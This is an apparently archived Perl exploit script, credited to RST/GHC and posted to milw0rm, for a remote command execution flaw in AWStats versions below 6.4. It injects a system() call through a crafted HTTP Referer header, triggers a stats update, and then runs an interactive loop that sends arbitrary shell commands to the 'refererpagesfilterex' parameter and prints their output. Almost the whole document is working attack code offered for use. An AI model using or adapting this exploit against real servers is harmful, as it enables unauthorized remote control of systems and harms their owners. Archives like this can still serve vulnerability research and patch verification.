AWStats < 6.4 - 'referer' Remote Command Execution

#!/usr/bin/perl

## AWStats < 6.4 command execution exploit
## based on http://www.idefense.com/application/poi/display?id=290&type=vulnerabilities
## (c)oded by 1dt.w0lf
## 11.08.2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

## Note
## Exploitation will not occur until the stats page has been regenerated
## with the tainted referrer values from the http access log.
## AWStats is only vulnerable in situations where at least one URLPlugin is enabled.


use LWP::UserAgent;
use HTTP::Headers;

if(@ARGV<1) { &usage; exit(0); }

$path = $ARGV[0];
header();
print "Creating shell... Please wait\n";

 $aw = LWP::UserAgent->new() or die;
 $req = HTTP::Request->new(GET => $path);
 $req->referer(qq[http://'.system(\$FilterEx{\'refererpages\'}).']);
 $res = $aw->request($req); 
 
 $aw = LWP::UserAgent->new() or die;
 $res = $aw->get($path.'?output=refererpages&update=1');

while ()
 {
    print "Type command for execute or 'q' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'q');
        last;
     }
    &run($cmd);
 }

sub run()
 {
 $cmd2  = 'echo 1 && echo _START_ && ';
 $cmd2 .= $cmd;
 $cmd2 .= ' && echo _END_';
 $aw = LWP::UserAgent->new() or die;
 $res = $aw->post(
                  "$path",
                  {
                   "output" => "refererpages",
                   "refererpagesfilterex" => "$cmd2"
                  }
                 );
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 print "\n";
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print "\n"; return 0; }
    if ($on == 1) { print "  $res\n"; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
 print "Can't execute command\n" if !$runned;
 }

sub header()
{
 print "--* AWStats < 6.4 exploit by RST/GHC\n";
 print "--* keep it private, not for public\n";
}

sub usage()
 {
  header();
  print "usage : r57awstats.pl [path_to_awstats.pl]\n";
  print "  e.g.: r57awstats.pl http://127.0.0.1/cgi-bin/awstats.pl\n";
 }

# milw0rm.com [2006-02-17]